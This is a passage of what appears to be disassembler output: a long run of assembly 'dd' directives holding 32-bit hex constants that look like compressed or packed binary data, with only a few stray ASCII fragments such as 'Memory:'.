10BC1F13h, 0A1FA80A4h, 0F8357F14h dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h dd 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h dd 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh dd 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h dd 9612CADh, 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h dd 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h dd 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h dd 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h dd 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h dd 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh dd 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh dd 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h dd 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h dd 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h, 8D093927h dd 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h dd 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h dd 0F000A65Ah dd 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h dd 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h dd 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h dd 3401577Bh, 932DC45h, 69E480C4h, 0EB601EA6h, 0A49ECF10h dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h dd 0B4E4B8C8h, 3BB072h, 0FC319382h, 0A6F8104Ch, 0F4470800h dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h dd 39CD0472h, 0CF1CCEh, 91B123B0h, 0B3C824B2h, 39B58111h dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h, 0ABE45790h dd 95809CB2h, 0C015E2h, 754F450Ch, 66017473h, 6D654D00h dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h, 35010E65h dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h dd 770F7A94h, 0C07D4855h dd 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h dd 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h dd 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h, 51A65F09h dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h dd 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h dd 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh dd 36404A3Ch, 73FC5FCh, 27895657h, 7FF7405Ch, 9D06E7D1h dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h dd 597A8E90h, 15A5F25h, 802AF4D3h, 0D0C6AACAh, 67003164h dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h, 944A8C26h dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h, 0B40F2919h dd 9C2649h, 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh dd 6000273h, 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h dd 12AC0B6h, 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch dd 75015Ah, 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h, 44F9800Bh dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h dd 93ACE092h, 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h dd 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh, 7C95170Bh, 9053400h dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh dd 2563E08Dh, 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh dd 0FA3B0C4Dh, 47203Ch, 0F841F940h, 0E8FE0581h, 3AD48200h dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h dd 0D14020C2h, 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h dd 407CDAF4h, 915FF800h dd 0E1E44D28h, 0A6F4C8h, 4FE083C1h, 21D00C03h, 0C7D91401h dd 0D64BEB4h, 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h dd 0A15AF120h, 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h dd 64E00D2Ah, 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h dd 0D79E7323h, 51D0C8h, 6A621EB6h, 9499F502h, 41585700h dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h dd 0EE51554Eh, 877EA6h, 5277E84Fh, 